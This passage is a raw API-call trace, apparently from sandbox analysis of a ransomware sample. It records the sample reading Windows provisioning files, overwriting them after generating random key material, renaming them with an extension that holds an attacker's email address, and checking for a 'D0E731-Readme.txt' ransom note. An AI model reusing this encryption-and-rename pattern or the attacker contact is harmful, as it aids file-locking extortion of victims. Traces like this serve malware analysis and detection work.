lpNumberOfBytesWritten=0x2eebfbb8*=0x4, lpOverlapped=0x0) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2eebfbb8*=0x6c, lpOverlapped=0x0) returned 1 [0087.180] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2eebfbb8*=0x20, lpOverlapped=0x0) returned 1 [0087.181] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2eebfbb8, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2eebfbb8*=0x4, lpOverlapped=0x0) returned 1 [0087.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc570) returned 1 [0087.181] CloseHandle (hObject=0x3d0) returned 1 [0087.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x192) returned 0x33fc9c8 [0087.184] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" [0087.184] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.184] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\157__connections_cellular_cosmote greece (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.185] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.185] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.185] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\157__Connections_Cellular_Cosmote Greece (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.185] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.185] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.185] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.185] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6d18) returned 1 [0087.186] RtlExitUserThread (Status=0x1) Thread: id = 1349 os_tid = 0x10f0 [0087.187] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.187] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.187] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.187] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2ef3f9f0 | out: lpFileSize=0x2ef3f9f0*=644) returned 1 [0087.187] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x280, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.187] ReadFile (in: hFile=0x3d0, lpBuffer=0x2ef3f9c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2ef3f9c4*, lpNumberOfBytesRead=0x2ef3f9c0*=0x4, lpOverlapped=0x0) returned 1 [0087.189] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.189] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc570 [0087.189] NtQuerySystemTime (in: CurrentTime=0x2ef3f99c | out: CurrentTime=0x2ef3f99c*=132121176450860241) returned 0x0 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xe1ed4d6d [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x780d4dfd [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x62d16a30 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x59172773 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xa0304cf8 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x89ae5df8 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x327eae9a [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xe4eddae9 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x7f3c7316 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x41cb5a90 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xe1e0a904 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x7f2b7705 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x5c4dd61d [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xe57ab425 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x6b668500 [0087.189] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x69830be5 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x62d239bd [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x8a73084e [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x6d38d71c [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x6dce6b6e [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xd29b44f5 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x4717b692 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xad016ab4 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xa468712c [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xc6d94aef [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xc78f5b68 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xc2859214 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xc24bb8a [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x768b625d [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x67c017b9 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0x1db5a509 [0087.190] RtlRandom (in: Seed=0x2ef3f9a8 | out: Seed=0x2ef3f9a8) returned 0xd4aa7736 [0087.200] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x284, lpNumberOfBytesRead=0x2ef3f99c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2ef3f99c*=0x284, lpOverlapped=0x0) returned 1 [0087.200] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ef3f964 | out: lpNewFilePointer=0x0) returned 1 [0087.200] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x284, lpNumberOfBytesWritten=0x2ef3f998, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2ef3f998*=0x284, lpOverlapped=0x0) returned 1 [0087.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5c0 [0087.200] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.201] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ef3f994, lpOverlapped=0x0 | out: lpBuffer=0x55dc5c0*, lpNumberOfBytesWritten=0x2ef3f994*=0x20, lpOverlapped=0x0) returned 1 [0087.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc5c0) returned 1 [0087.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0087.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0087.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0087.201] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0087.202] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x55dc598*, lpNumberOfBytesWritten=0x2ef3f9c0*=0x8, lpOverlapped=0x0) returned 1 [0087.202] WriteFile (in: hFile=0x3d0, lpBuffer=0x2ef3f9d8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x2ef3f9d8*, lpNumberOfBytesWritten=0x2ef3f9c0*=0x4, lpOverlapped=0x0) returned 1 [0087.202] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2ef3f9c0*=0x4, lpOverlapped=0x0) returned 1 [0087.202] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2ef3f9c0*=0x6c, lpOverlapped=0x0) returned 1 [0087.202] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc2a0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x55dc2a0*, lpNumberOfBytesWritten=0x2ef3f9c0*=0x20, lpOverlapped=0x0) returned 1 [0087.202] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2ef3f9c0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2ef3f9c0*=0x4, lpOverlapped=0x0) returned 1 [0087.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc2a0) returned 1 [0087.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc430) returned 1 [0087.202] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc598) returned 1 [0087.202] CloseHandle (hObject=0x3d0) returned 1 [0087.202] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x188) returned 0x33fc9c8 [0087.202] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" [0087.202] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0087.202] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\158__connections_cellular_q-telecom (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0087.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0087.203] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0087.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\158__Connections_Cellular_Q-telecom (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0087.203] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0087.203] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0087.203] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0087.203] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0087.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0087.204] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b73d0) returned 1 [0087.204] RtlExitUserThread (Status=0x1) Thread: id = 1350 os_tid = 0x10f4 [0087.188] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml")) returned 0x20 [0087.205] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0087.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\159__connections_cellular_telestet (stet) (greece)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0087.205] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2efbfe18 | out: lpFileSize=0x2efbfe18*=722) returned 1 [0087.205] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x2ce, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.205] ReadFile (in: hFile=0x3d0, lpBuffer=0x2efbfdec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2efbfde8, lpOverlapped=0x0 | out: lpBuffer=0x2efbfdec*, lpNumberOfBytesRead=0x2efbfde8*=0x4, lpOverlapped=0x0) returned 1 [0087.207] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc318 [0087.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc2a0 [0087.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc598 [0087.207] NtQuerySystemTime (in: CurrentTime=0x2efbfdc4 | out: CurrentTime=0x2efbfdc4*=132121176451016470) returned 0x0 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x2d787c54 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x78bea81a [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xce4ac77c [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xdd5c54f4 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x6c315a70 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x4cd995aa [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xae93f197 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x46dc7f23 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x7579d2ad [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x46540aa1 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xc3445236 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xa7c33b56 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x63f5fc8d [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xcc0aa63e [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x8d626a4e [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x14d80350 [0087.207] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x9a111e2e [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x77038f9e [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xe70472e4 [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x55f814aa [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xd4ed606e [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xb61815ee [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x242d44c0 [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x277c50a3 [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x3cd473f3 [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xde178eff [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xe09216fa [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x17dbd618 [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x5953d6ee [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xa74aee2c [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0x13205089 [0087.208] RtlRandom (in: Seed=0x2efbfdd0 | out: Seed=0x2efbfdd0) returned 0xd42ed242 [0087.218] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x2d2, lpNumberOfBytesRead=0x2efbfdc4, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2efbfdc4*=0x2d2, lpOverlapped=0x0) returned 1 [0087.218] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2efbfd8c | out: lpNewFilePointer=0x0) returned 1 [0087.218] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x2d2, lpNumberOfBytesWritten=0x2efbfdc0, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2efbfdc0*=0x2d2, lpOverlapped=0x0) returned 1 [0087.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc5e8 [0087.218] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dc1b0 [0087.218] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55dc1b0) returned 1 [0087.218] WriteFile (in: hFile=0x3d0, lpBuffer=0x55dc5e8*, nNumberOfBytesToWrite=0x20, 